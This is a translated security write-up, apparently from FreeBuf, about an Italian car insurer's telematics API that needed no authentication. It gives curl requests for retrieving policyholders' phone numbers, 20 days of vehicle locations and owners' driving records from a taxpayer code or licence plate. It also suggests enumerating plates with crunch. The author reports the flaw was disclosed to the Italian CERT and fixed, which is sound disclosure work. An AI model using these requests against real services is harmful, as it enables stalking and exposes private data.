简介

与大多数车险公司一样,我所购买的车险也提供了一款装在车上的卫星设备以供获取位置信息。通过在车中安装类似的设备,保险公司可以分析出你的行为。当然如果你的车辆被盗,它还可以帮助警方破案以及你可以获得一笔不菲的赔偿(甚至超过40%)
通常这些公司也提供一款手机App以便更轻松的追踪你的汽车,我受保的公司所提供的安卓版本App需要Google Play服务套件才能运行。但信仰开源精神的我,只愿使用开源软件而不想使用gapps(Google服务)套件
幸运的是,我也是一名开发者。因此我试着开发我自己所需要的应用程序。使用mitmproxy分析App所使用的API以此来开发我自己的客户端。

身份验证

在按下可以进行车辆跟踪按钮的同时,App需要对你进行身份验证。身份验证表单第一次会请求你的用户代码,执行以下请求:

curl -X POST -d 'BLUCS§<taxpayers_code>§-1' http://<domain>/BICServices/BICService.svc/restpostcheckpicf<company> 

web服务端返回一个电话号码(这什么鬼?):

2§<international_calling_code>§<cell_phone_number>§-1 

在这里我们除了看到凌乱的格式,还发现事实上请求使用的是HTTP协议,它仅仅只需要3个参数就能获取手机号码?你猜怎么着,第一个和第二个参数都是常量。也就是说如果我们输入一个不存在的用户代码,保持其他值不变,我们可以得到:

-1§<international_calling_code>§§-100% 

即我们可以通过给定的用户代码获取到手机号码!
继续我们的身份验证流程。
在此之后,App请求验证手机号码。当购买了车险还会要求通过邮件接收密码:

curl -X POST -d 'BLUCS§<taxpayers_code>§<device_imei>§<android_id>§<device_brand>-<device_model>_unknown-<api_platform>-<os_version>-<device_code>§<cell_phone_number>§2§<password>§§-1' http://<domain>/BICServices/BICService.svc/restpostsmartphoneactivation<company> 

web端服务器响应:

0§<some_code>§<my_full_name> 

some_code参数每次都会变化,其变化类似于”注册ID”。完成这一步之后应用程序就解锁了可以用来跟踪车辆的按钮。
身份验证搞的我莫名其妙:只是用some_code参数结合我的密码就完成了?或者是再请求我的用户代码?

车辆追踪

开始实现车辆追踪功能,该功能允许检索车辆近20天的位置信息。以下分析该App发起的请求:

curl -X POST -d 'ASS_NEW§<car_license>§2§-1' http://<domain>/BICServices/BICService.svc/restpostlastnpositions<company> 

web服务端响应:

0§20§<another_code>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street> 

没有header?没有cookies?没有验证参数?
我们的猜想完全正确:你仅仅只需要车辆牌照就能获取近20天的车辆位置信息。那么another_code到底有做什么的呢?暂时我们将其记录下来,看看后面到底有啥用。
我一度设想App应该是在那个地方有将我的IP地址存储下来,所以我现在能够授权获取这些信息。我试着使用VPN尝试,竟然~依旧工作!
尝试使用一个不存在的牌照进行验证,获得:

-2§TARGA NON ASSOCIATA% 

该信息的意思即为:我们的数据库中找不到该汽车牌照
接下来我们可以借助crunch工具的帮助枚举该公司数据库中存有的车辆牌照以及每辆汽车最近20天的位置信息

web客户端

该保险公司还提供的web端服务还能进行更多操作,因此我登录进去分析其请求,然而其托管在另外一个域中,并且几乎所有的请求都会使用到cookies。其向之前遇到的那个域发起了一个不是进行身份验证的请求,这引起了我的注意:

curl http://<domain>/<company>/(S(<uuid>))/NewRemoteAuthentication.aspx?RUOLO=CL&ID=<another_code>&TARGA=<car_license>&CONTRATTO=<foo>&VOUCHER=<bar> 

以下为返回web端的HTML页面:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" > <HTML> <HEAD> <title>NewRemoteAuthentication</title> <meta name="GENERATOR" Content="Microsoft Visual Studio .NET 7.1" /> <meta name="CODE_LANGUAGE" Content="C#" /> <meta name="vs_defaultClientScript" content="JavaScript"/> <meta name="vs_targetSchema" content="http://schemas.microsoft.com/intellisense/ie7" /> <!--<meta content="IE=EmulateIE10" name="ie_compatibility" http-equiv="X-UA-Compatible" />--> <meta name="ie_compatibility" http-equiv="X-UA-Compatible" content="IE=7, IE=8, IE=EmulateIE9, IE=10, IE=11" /> </HEAD> <body> <form name="Form1" method="post" action="/<company>/(S(<uuid>))/NewRemoteAuthentication.aspx?RUOLO=CL&amp;ID=<another_code>&amp;TARGA=<car_license>" id="Form1"> <input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwULLTIwNzEwODIsJFNAgEPKAJDIeBsdSpc2libGVnZGRic5McHC9+DqRx0H+jRt5O+/PLtw==" /> <iframe id="frm1" src="NewRicerca.aspx" width="100%" height="100%"></iframe> <SCRIPT language="JavaScript"> <!--
self.close
// --> </SCRIPT> </form> </body> </HTML> 

其包含了一个iframe(唉!),但这也是最有趣的地方

image

从该页面你可以得知:

  • 受保人姓名
  • 车辆品牌及型号
  • 车辆行驶总里程
  • 车辆移动里程
  • 每月行驶次数
  • 每日行驶详情(纬度,经度,数据,时间)
  • 每月统计数据(用车频率)

image
image
image

这里的信息量确实大,而且由于安装有卫星设备这些信息都是完全可用的。
在这里的请求也没有进行身份验证,因此我只需要推断参数然后填入其中就可以了。往往并不需要全部参数,之后我尝试一个一个参数进行删除以确认必须的参数。最终简化为:

curl http://<domain>/<company>/(S(<uuid>))/NewRemoteAuthentication.aspx?RUOLO=CL&ID=<another_code>&TARGA=<car_license> 

这里的another_code参数似乎我们之前有记录下来。

http://<domain>/<company>/(S(<uuid>))/NewRicerca.aspx

就是真正用于显示所有信息的页面了,但是我该如何解决生成uuid的事情呢?

首先我试图通过将其删除,然而得到空白页。当然这是有意义的,该页面是如何得知我所寻找的数据的呢?

NewRemoteAuthentication.aspx页面肯定有进行一些处理;再次尝试从那个url中移除uuid,令我惊喜的是它重定向到相同的url,但其将uuid作为路径参数进行了填充。如今我就可以使用该uuid调用NewRicerca.aspx以读取所有信息了。

总结

你只需要一份保险公司数据库包含的汽车牌照,就可以获取汽车行驶记录,汽车所有人姓名以及位置信息
目前已将该隐私泄漏缺陷报告给意大利国家互联网应急中心,3周之后该公司提供了新的有进行身份验证的web服务端以修复该漏洞。该公司也迅速向其用户告知了该情况,据我预计该缺陷已存在3年之久,因为第一个安卓版本就是使用的该API。

*参考来源:andreascarpino,freebuf小编鸢尾编译